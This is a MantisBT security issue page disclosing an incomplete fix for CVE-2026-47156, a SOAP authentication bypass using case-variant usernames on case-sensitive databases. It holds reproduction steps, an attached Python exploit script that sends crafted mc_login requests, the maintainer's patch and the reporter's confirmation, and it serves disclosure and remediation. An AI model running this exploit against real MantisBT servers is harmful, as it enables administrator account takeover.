Relationship Graph

Relationship Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037361mantisbtsecuritypublic2026-11-22 16:08
Reporterkanokwut Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version2.28.4 
Target Version2.29.0Fixed in Version2.29.0 
Summary0037361: Incomplete fix for CVE-2026-47156: SOAP cookie auth bypass via username case collision on PostgreSQL
Description

The fix for CVE-2026-47156 (GHSA-c2xg-qjqw-2v98) in MantisBT 2.28.4 can be
bypassed on PostgreSQL (case-sensitive collation, the default).

The strcasecmp() ownership check in mci_check_login() (api/soap/mc_api.php)
compares the cookie owner's username against $p_username case-insensitively,
but auth_attempt_script_login() resolves the login user via
user_get_id_by_name() using WHERE username = ? — which is case-sensitive
on PostgreSQL.

An attacker who self-registers a case-variant of a target username (e.g.
"ADMINISTRATOR" when "administrator" exists) can use their own session
cookie to authenticate as the target via SOAP mc_login(), achieving full
privilege escalation / account takeover.

Root cause: case-sensitivity mismatch between the ownership check
(strcasecmp = CI) and the login resolution (SQL WHERE = CS on PostgreSQL).

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High)
CWE-287 (Improper Authentication), CWE-178 (Improper Handling of Case Sensitivity)

Tested on MantisBT 2.28.4 + PostgreSQL 16 (Docker).

Steps To Reproduce
  1. Install MantisBT 2.28.4 with PostgreSQL (default case-sensitive collation)
  2. Default admin account: "administrator" (id=1, access_level=90)
  3. Self-register (or create) a case-variant user: "ADMINISTRATOR" (access_level=25)
    • PostgreSQL treats this as a DIFFERENT username (case-sensitive WHERE)
    • user_is_name_unique() uses the same CS query, so it passes
  4. Obtain attacker's cookie_string (from MANTIS_STRING_COOKIE after login)
  5. SOAP call:
    mc_login(username="administrator", password=<attacker_cookie_string>)
  6. Result: returns id=1, name=administrator, access_level=90
    → Logged in as the REAL admin using attacker's cookie

Control: mc_login(username="ADMINISTRATOR", password=<same_cookie>)
→ returns id=2, access_level=25 (attacker's own account, as expected)

Automated PoC (Docker + Python): see Additional Information

Additional Information

Private PoC repository (Docker Compose + automated exploit):
https://github.com/kanokwut/mantisbt-soap-cookie-case-collision-poc

GitHub username: kanokwut

Suggested fix (Option A — recommended):
Use the already-resolved $t_user_id from the cookie directly for session
setup, instead of re-resolving $p_username through user_get_id_by_name().
This eliminates the case-sensitivity mismatch entirely.

Suggested fix (Option B):
Enforce case-insensitive username uniqueness at registration time:
WHERE LOWER(username) = LOWER(?)

TagsNo tags attached.
Attached Files
exploit.py (6,850 bytes)   
#!/usr/bin/env python3
"""
PoC: MantisBT CVE-2026-47156 incomplete fix — SOAP cookie auth bypass
via username case-collision on PostgreSQL (case-sensitive collation).

Demonstrates that the strcasecmp() ownership check in mci_check_login()
can be bypassed when the DB uses a case-sensitive collation, because
the subsequent auth_attempt_script_login() resolves the user by an
exact-match SQL query, landing on a DIFFERENT user than the cookie owner.

Prerequisites (set up by docker-compose + setup.sh):
  - MantisBT 2.28.4 (patched for CVE-2026-47156) on PostgreSQL
  - Real admin: username="administrator", access_level=90
  - Attacker:   username="ADMINISTRATOR", access_level=25 (viewer)
"""
import sys
import re
import requests

BASE = "http://localhost:8989"


def step(n, msg):
    print(f"\n{'='*60}")
    print(f"  STEP {n}: {msg}")
    print(f"{'='*60}")


def main():
    # ── Step 1: Get attacker's cookie_string directly from DB helper ──
    step(1, "Get attacker (ADMINISTRATOR) cookie_string")

    r = requests.get(f"{BASE}/poc_get_cookie.php?user=ADMINISTRATOR")
    attacker_cookie = r.text.strip()
    if not attacker_cookie or attacker_cookie == "NOT_FOUND":
        print("  [FAIL] Cannot get attacker cookie_string from DB")
        sys.exit(1)
    print(f"  Attacker cookie_string: {attacker_cookie[:20]}...")

    # Verify: also get the real admin's cookie for comparison
    r2 = requests.get(f"{BASE}/poc_get_cookie.php?user=administrator")
    admin_cookie = r2.text.strip()
    print(f"  Real admin cookie:      {admin_cookie[:20]}...")
    print(f"  Cookies are different:  {attacker_cookie != admin_cookie}")

    # ── Step 2: Demonstrate the bug — SOAP mc_login ──
    step(2, "SOAP mc_login(username='administrator', password=<ATTACKER_cookie>)")
    print(f"  Target: real admin 'administrator' (access_level=90)")
    print(f"  Using:  cookie from 'ADMINISTRATOR' (access_level=25)")
    print(f"")
    print(f"  The fix checks: strcasecmp('ADMINISTRATOR','administrator') == 0")
    print(f"  But login resolves: WHERE username='administrator' → real admin")

    soap_body = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:man="http://futureware.biz/mantisconnect">
   <soapenv:Body>
      <man:mc_login>
         <man:username>administrator</man:username>
         <man:password>{attacker_cookie}</man:password>
      </man:mc_login>
   </soapenv:Body>
</soapenv:Envelope>"""

    r = requests.post(
        f"{BASE}/api/soap/mantisconnect.php",
        data=soap_body,
        headers={
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": "http://futureware.biz/mantisconnect/mc_login",
        },
    )

    print(f"\n  SOAP response status: {r.status_code}")

    # ── Step 3: Parse response ──
    step(3, "Parse SOAP response — did we get admin access?")
    body = r.text

    if "Fault" in body or "fault" in body:
        m = re.search(r'<faultstring>(.*?)</faultstring>', body)
        fault = m.group(1) if m else body[:300]
        print(f"  [-] SOAP Fault: {fault}")
        print(f"\n  Exploit blocked — fix may be complete on this version,")
        print(f"  or SOAP API is not enabled.")
        sys.exit(1)

    # Extract fields from response (namespaced XML)
    m_id = re.search(r'<id[^>]*>(\d+)</id>', body)
    m_name = re.search(r'<name[^>]*>(.*?)</name>', body)
    m_access = re.search(r'<access_level[^>]*>(\d+)</access_level>', body)

    if m_access:
        level = int(m_access.group(1))
        uid = m_id.group(1) if m_id else "?"
        name = m_name.group(1) if m_name else "?"

        print(f"  Returned user id:      {uid}")
        print(f"  Returned username:     {name}")
        print(f"  Returned access_level: {level}")

        if level >= 90:
            print(f"")
            print(f"  ╔═══════════════════════════════════════════════════════╗")
            print(f"  ║  EXPLOIT SUCCESSFUL — PRIVILEGE ESCALATION           ║")
            print(f"  ║                                                       ║")
            print(f"  ║  Logged in as '{name}' (id={uid}, access_level={level})  ")
            print(f"  ║  using cookie of 'ADMINISTRATOR' (access_level=25)   ║")
            print(f"  ║                                                       ║")
            print(f"  ║  The strcasecmp() fix for CVE-2026-47156 does NOT    ║")
            print(f"  ║  prevent this on case-sensitive DB collations         ║")
            print(f"  ║  (PostgreSQL default).                                ║")
            print(f"  ╚═══════════════════════════════════════════════════════╝")
        else:
            print(f"\n  [-] Access level {level} < 90 — not escalated")
            if name.lower() == "administrator" and level == 25:
                print(f"  Logged in as the attacker's own account, not the admin")
    else:
        print(f"  [?] Unexpected response (no access_level):")
        print(f"  {body[:500]}")

    # ── Step 4: Demonstrate normal case — attacker's own login ──
    step(4, "Control: SOAP mc_login as 'ADMINISTRATOR' with own cookie")
    soap_ctrl = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:man="http://futureware.biz/mantisconnect">
   <soapenv:Body>
      <man:mc_login>
         <man:username>ADMINISTRATOR</man:username>
         <man:password>{attacker_cookie}</man:password>
      </man:mc_login>
   </soapenv:Body>
</soapenv:Envelope>"""

    r2 = requests.post(
        f"{BASE}/api/soap/mantisconnect.php",
        data=soap_ctrl,
        headers={
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": "http://futureware.biz/mantisconnect/mc_login",
        },
    )
    m2_access = re.search(r'<access_level[^>]*>(\d+)</access_level>', r2.text)
    m2_name = re.search(r'<name[^>]*>(.*?)</name>', r2.text)
    if m2_access:
        print(f"  Control login: user={m2_name.group(1) if m2_name else '?'} access={m2_access.group(1)}")
        print(f"  (This is the attacker's own account — access_level=25, as expected)")
    elif "Fault" in r2.text:
        m = re.search(r'<faultstring>(.*?)</faultstring>', r2.text)
        print(f"  Control: SOAP Fault — {m.group(1) if m else 'unknown'}")
        print(f"  (Expected if username regex rejects uppercase)")
    else:
        print(f"  Control response: {r2.text[:300]}")


if __name__ == "__main__":
    main()
exploit.py (6,850 bytes)   

Relationships

child of 0037121 closeddregad CVE-2026-47156: SOAP API Authentication Bypass -> Privilege Escalation to Administrator 

Activities

dregad

dregad

2026-08-28 03:00

developer   ~0071385

Thanks for the detailed report, I'll look into it.

dregad

dregad

2026-09-04 11:28

developer   ~0071409

Confirmed.

Problem is also reproducible on a MySQL database where the mantis_user_table.username column is defined with a case-sensitive collation (e.g. utf8mb4_bin), and by extension on any case-sensitive database.

Looking at the original report (0037121) and patch (MantisBT master-2.28 e3571c31), I believe this is in fact the exact same vulnerability; consequently I don't think I should open a new advisory and request another CVE ID. I sent an email to the GitHub CNA team to confirm this approach; if they agree, I'll just update the existing CVE and credit you there (less overhead).

I'm working on a fix based on your suggestion, it should be available shortly.

dregad

dregad

2026-09-04 12:26

developer   ~0071410

@kanokwut
Attached is the proposed patch for review. Testing and feedback welcome.

0001-Prevent-SOAP-API-auth-bypass-on-case-sensitive-DB.patch (1,696 bytes)   
From 3eaa74f975bce62d58c29c5968baecf0d9a8f00d Mon Sep 17 00:00:00 2001
From: Damien Regad <dregad@mantisbt.org>
Date: Fri, 4 Sep 2026 17:29:04 +0200
Subject: [PATCH] Prevent SOAP API auth bypass on case-sensitive DB

This is a follow-up on commit e3571c319b1721b41b0dc4b5b5203cbdcbe0c2ee.

The patch relied on the username provided in the SOAP request to perform
login, instead of using the one from the account matching the provided
cookie string.

Case-sensitive databases such as PostgreSQL allow creation of distinct
user accounts with names differing only by case (e.g. `administrator` /
`ADMINISTRATOR`). On such systems, the authentication bypass remains
possible because of that.

We now retrieve the username from the user id matching the cookie.

Fixes #37121, #37361, GHSA-c2xg-qjqw-2v98
---
 api/soap/mc_api.php | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/api/soap/mc_api.php b/api/soap/mc_api.php
index e1ed1dc34..601c4780b 100644
--- a/api/soap/mc_api.php
+++ b/api/soap/mc_api.php
@@ -484,10 +484,11 @@ function mci_check_login( ?string $p_username, ?string $p_password ) {
 		$t_user_id = auth_user_id_from_cookie( $p_password );
 		if( $t_user_id !== false ) {
 			# Cookie is valid - does it belong to the user trying to log in ?
-			if( 0 != strcasecmp( user_get_username( $t_user_id ), $p_username ) ) {
+			$t_username_from_cookie = user_get_username( $t_user_id );
+			if( 0 != strcasecmp( $t_username_from_cookie, $p_username ) ) {
 				return false;
 			}
-			if( auth_attempt_script_login( $p_username ) === false ) {
+			if( auth_attempt_script_login( $t_username_from_cookie ) === false ) {
 				return false;
 			}
 		} else {
-- 
2.55.0

kanokwut

kanokwut

2026-09-05 01:11

reporter   ~0071411

@dregad

I have tested the patch, it works as expected.

Clean test on MantisBT 2.28.4 + PostgreSQL 16:

  1. Fresh docker compose up, two users: administrator (id=1, access=90) and ADMINISTRATOR (id=2, access=25)
  2. Before patch: SOAP mc_login(username='administrator', password=<ADMINISTRATOR_cookie>) returns id=1, access_level=90. Escalation works.
  3. Applied the patch
  4. After patch: same SOAP call returns id=2, access_level=25. Attacker gets their own account only, escalation blocked.

Passing $t_username_from_cookie to auth_attempt_script_login makes sure it always resolves to the cookie owner, regardless of DB collation.

dregad

dregad

2026-09-05 12:29

developer   ~0071412

Many thanks for the confirmation. I'll keep you posted when I hear back from GitHub staff.

dregad

dregad

2026-09-11 05:24

developer   ~0071433

@kanokwut
GitHub CNA confirmed last night that the same CVE ID can be used for this. I will update the advisory accordingly. I'll release this in the upcoming week-end.

Please let me know how you would like your name to appear in the credits.

kanokwut

kanokwut

2026-09-11 09:46

reporter   ~0071435

@dregad
Thanks for the update. Please credit as:
Kanokwut Thanadkarn (https://github.com/kanokwut)

Related Changesets

MantisBT: master-2.28 e3571c31

2026-06-27 12:11

dregad

Committer: community


Details Diff
Prevent SOAP API auth bypass using cookie_string

Verify that the given cookie actually belongs to the user trying to
login, deny access if not.

Username comparison is performed case insensitively.

Fixes 0037121, GHSA-c2xg-qjqw-2v98
Affected Issues
0037121, 0037361
mod - api/soap/mc_api.php Diff File

MantisBT: master c494f763

2026-09-04 11:29

dregad


Details Diff
Prevent SOAP API auth bypass on case-sensitive DB

This is a follow-up on commit e3571c319b1721b41b0dc4b5b5203cbdcbe0c2ee.

The patch relied on the username provided in the SOAP request to perform
login, instead of using the one from the account matching the provided
cookie string.

Case-sensitive databases such as PostgreSQL allow creation of distinct
user accounts with names differing only by case (e.g. `administrator` /
`ADMINISTRATOR`). On such systems, the authentication bypass remains
possible because of that.

We now retrieve the username from the user id matching the cookie.

Fixes 0037121, 0037361, GHSA-c2xg-qjqw-2v98
Affected Issues
0037121, 0037361
mod - api/soap/mc_api.php Diff File